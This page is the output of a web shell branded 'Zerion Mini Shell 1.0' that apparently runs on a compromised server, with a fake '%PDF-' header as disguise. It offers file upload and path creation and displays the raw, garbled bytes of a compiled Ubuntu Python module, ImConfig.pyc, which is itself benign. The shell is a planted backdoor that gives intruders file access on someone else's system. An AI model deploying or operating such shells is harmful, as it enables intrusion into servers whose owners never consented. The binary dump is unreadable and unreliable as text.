%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/LanguageSelector/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/LanguageSelector/__pycache__/ImConfig.cpython-312.pyc

�

k�!f���F�ddlZddlZddlZGd�de�Zedk(r�e�Zedej�z�edej�z�ed�ejd�edej�z�ed	�ejd
�yy)�Nc�*�eZdZd�Zd�Zd�Zd�Zd�Zy)�ImConfigc��y)N���selfs �;/usr/lib/python3/dist-packages/LanguageSelector/ImConfig.py�__init__zImConfig.__init__
s���c�@�tjjd�S)Nz/usr/bin/im-config)�os�path�existsrs r	�	availablezImConfig.availables���w�w�~�~�2�3�3rc��ttjddg�j�j	��}|jd�|S)N�	im-configz-l�none)�sorted�
subprocess�check_output�decode�split�append)r�inputMethodss  r	�getAvailableInputMethodsz!ImConfig.getAvailableInputMethodssB���j�5�5�{�D�6I�J�Q�Q�S�Y�Y�[�\�����F�#��rc�P�tjddg�j�j�dd\}}}|dk7r|S	d}|dk(r|}nUtj
j
d�r6td�D](}|jd�s�|j�d	}n|s|}|S)
Nrz-m��missing��defaultz/etc/X11/xinit/xinputrc�run_im�)	rrrrr
rr�open�
startswith)r�systemConfig�
userConfig�
autoConfig�system_conf�lines      r	�getCurrentInputMethodzImConfig.getCurrentInputMethods���
�
!�
!�;��"5�
6�
=�
=�
?�
E�
E�
G���
K�	/��z�:���"���	����9�$�$�K�
�W�W�^�^�5�
6��6�7�
���?�?�8�,�"&�*�*�,�q�/�K��
��$�K��rc�4�tjdd|g�y)Nrz-n)r�call)r�ims  r	�setInputMethodzImConfig.setInputMethod.s������d�B�/�0rN)�__name__�
__module__�__qualname__r
rrr*r.rrr	rrs��
�4��
�,1rr�__main__zavailable input methods: %szcurrent method: %szsetting method 'fcitx'�fcitxzremoving ~/.xinputrc�REMOVE)r
r�locale�objectrr/r-�printrr*r.rrr	�<module>r8s���
��
�$1�v�$1�L�z��	��B�	�
'�"�*E�*E�*G�
G�H�	�
��!9�!9�!;�
;�<�	�
"�#����g��	�
��!9�!9�!;�
;�<�	�
 �!����h��r

Zerion Mini Shell 1.0